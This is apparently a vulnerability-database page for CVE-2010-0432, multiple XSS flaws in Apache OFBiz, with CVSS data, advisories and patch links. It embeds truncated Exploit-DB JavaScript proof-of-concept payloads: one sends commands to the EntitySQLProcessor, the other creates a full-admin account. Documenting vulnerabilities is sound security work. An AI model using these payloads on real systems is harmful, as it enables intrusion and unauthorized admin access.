CVE-2010-0432
published 2010-04-15CVE-2010-0432: Multiple cross-site scripting (XSS) vulnerabilities in the Apache Open For Business Project (aka OFBiz) 09.04 and earlier, as used in Opentaps, Neogia, and…
PriorityP429medium4.3CVSS 2.0
AVNACMAuNCNIPAN
EXPLOIT
EPSS
22.94%
97.5th percentile
Multiple cross-site scripting (XSS) vulnerabilities in the Apache Open For Business Project (aka OFBiz) 09.04 and earlier, as used in Opentaps, Neogia, and Entente Oya, allow remote attackers to inject arbitrary web script or HTML via (1) the productStoreId parameter to control/exportProductListing, (2) the partyId parameter to partymgr/control/viewprofile (aka partymgr/control/login), (3) the start parameter to myportal/control/showPortalPage, (4) an invalid URI beginning with /facility/control/ReceiveReturn (aka /crmsfa/control/ReceiveReturn or /cms/control/ReceiveReturn), (5) the contentId parameter (aka the entityName variable) to ecommerce/control/ViewBlogArticle, (6) the entityName parameter to webtools/control/FindGeneric, or the (7) subject or (8) content parameter to an unspecified component under ecommerce/control/contactus.
Affected
2 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| apache | ofbiz | <= 09.04 | — |
| apache | ofbiz | — | — |
CVSS provenance
nvdv2.04.3MEDIUMAV:N/AC:M/Au:N/C:N/I:P/A:N
vendor_apache4.3MEDIUM
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
GHSA
GHSA-hr4m-h57x-5p2p: Multiple cross-site scripting (XSS) vulnerabilities in the Apache Open For Business Project (aka OFBiz) 09
ghsa_unreviewed·2022-05-02
CVE-2010-0432 [MEDIUM] CWE-79 GHSA-hr4m-h57x-5p2p: Multiple cross-site scripting (XSS) vulnerabilities in the Apache Open For Business Project (aka OFBiz) 09
Multiple cross-site scripting (XSS) vulnerabilities in the Apache Open For Business Project (aka OFBiz) 09.04 and earlier, as used in Opentaps, Neogia, and Entente Oya, allow remote attackers to inject arbitrary web script or HTML via (1) the productStoreId parameter to control/exportProductListing, (2) the partyId parameter to partymgr/control/viewprofile (aka partymgr/control/login), (3) the start parameter to myportal/control/showPortalPage, (4) an invalid URI beginning with /facility/control/ReceiveReturn (aka /crmsfa/control/ReceiveReturn or /cms/control/ReceiveReturn), (5) the contentId parameter (aka the entityName variable) to ecommerce/control/ViewBlogArticle, (6) the entityName parameter to webtools/control/FindGeneric, or the (7) subject or (8) content parameter to an unspecifie
Apache
Apache ofbiz: CVE-2010-0432
vendor_apache·CVSS 4.3
CVE-2010-0432 [MEDIUM] Apache ofbiz: CVE-2010-0432
Apache ofbiz: CVE-2010-0432
; affected releases: 09.04; fixed in 09.04.01
No detection rules found.
Exploit-DB
Apache OFBiz - Multiple Cross-Site Scripting Vulnerabilities
exploitdb·2010-04-21·CVSS 4.3
CVE-2010-0432 [MEDIUM] Apache OFBiz - Multiple Cross-Site Scripting Vulnerabilities
Apache OFBiz - Multiple Cross-Site Scripting Vulnerabilities
---
Bonsai Information Security - Advisory
http://www.bonsai-sec.com/research/
Multiple XSS in Apache OFBiz
1. *Advisory Information*
Title: Multiple XSS in Apache OFBiz
Advisory ID: BONSAI-2010-0103
Advisory URL: http://www.bonsai-sec.com/research/vulnerabilities/apacheofbiz-multiple-xss-0103.php
Date published: 2010-04-13
Vendors contacted: Apache Software Foundation
Release mode: Coordinated release
2. *Vulnerability Information*
Class: Multiple Cross Site Scripting (XSS)
Remotely Exploitable: Yes
Locally Exploitable: Yes
CVE Name: CVE-2010-0432
3. *Software Description*
Apache Open For Business (Apache OFBiz) is a community-driven
Open Source Enterprise Resource Planning (ERP) system.
It provides a suite of enterpr
Exploit-DB
Apache OFBiz - Remote Execution (via SQL Execution)
exploitdb·2010-04-16·CVSS 4.3
CVE-2010-0432 [MEDIUM] Apache OFBiz - Remote Execution (via SQL Execution)
Apache OFBiz - Remote Execution (via SQL Execution)
---
/*
Apache OFBiz SQL Remote Execution PoC Payload.
CVE: CVE-2010-0432
By: Lucas Apa ( lucas -at- bonsai-sec.com ).
Bonsai Information Security
http://www.bonsai-sec.com/
*/
var cmd = 'command';
var xmlhttp=false;
try {
xmlhttp = new ActiveXObject("Msxml2.XMLHTTP");
} catch (e) {
try {
xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
} catch (E) {
xmlhttp = false;
}
}
if (!xmlhttp && typeof XMLHttpRequest!='undefined') {
try {
xmlhttp = new XMLHttpRequest();
} catch (e) {
xmlhttp=false;
}
}
if (!xmlhttp && window.createRequest) {
try {
xmlhttp = window.createRequest();
} catch (e) {
xmlhttp=false;
}
}
xmlhttp.open("POST", "
https://192.168.225.135:8443/webtools/control/EntitySQLProcessor",true);
xmlhttp.onreadystatechange=f
Exploit-DB
Apache OFBiz - Admin Creator
exploitdb·2010-04-16·CVSS 4.3
CVE-2010-0432 [MEDIUM] Apache OFBiz - Admin Creator
Apache OFBiz - Admin Creator
---
/*
Apache OFBiz FULLADMIN Creator PoC Payload.
CVE: CVE-2010-0432
By: Lucas Apa ( lucas -at- bonsai-sec.com ).
Bonsai Information Security
http://www.bonsai-sec.com/
*/
var username = 'bonsaiUser';
var password = 'bonsaiPass';
var nodes = document.getElementsByClassName('fieldWidth300');
for (var i=0; i).toString();
var str2 = ().toString();
var str3 =
().toString();
var post_data = str1 + password + str2 + password + str3 + username;
xmlhttp2.send(post_data);
var xmlhttp3=false;
try {
xmlhttp3 = new ActiveXObject("Msxml2.XMLHTTP");
} catch (e) {
try {
xmlhttp3 = new ActiveXObject("Microsoft.XMLHTTP");
} catch (E) {
xmlhttp3 = false;
}
}
if (!xmlhttp3 && typeof XMLHttpRequest!='undefined') {
try {
xmlhttp3 = new XMLHttpRequest();
} catch (e) {
xm
No writeups or analysis indexed.
http://svn.apache.org/viewvc?view=revision&revision=920369http://svn.apache.org/viewvc?view=revision&revision=920370http://svn.apache.org/viewvc?view=revision&revision=920371http://svn.apache.org/viewvc?view=revision&revision=920372http://svn.apache.org/viewvc?view=revision&revision=920379http://svn.apache.org/viewvc?view=revision&revision=920380http://svn.apache.org/viewvc?view=revision&revision=920381http://svn.apache.org/viewvc?view=revision&revision=920382http://www.bonsai-sec.com/en/research/vulnerabilities/apacheofbiz-multiple-xss-0103.phphttp://www.securityfocus.com/bid/39489http://svn.apache.org/viewvc?view=revision&revision=920369http://svn.apache.org/viewvc?view=revision&revision=920370http://svn.apache.org/viewvc?view=revision&revision=920371http://svn.apache.org/viewvc?view=revision&revision=920372http://svn.apache.org/viewvc?view=revision&revision=920379http://svn.apache.org/viewvc?view=revision&revision=920380http://svn.apache.org/viewvc?view=revision&revision=920381http://svn.apache.org/viewvc?view=revision&revision=920382http://www.bonsai-sec.com/en/research/vulnerabilities/apacheofbiz-multiple-xss-0103.phphttp://www.securityfocus.com/bid/39489
2010-04-15
Published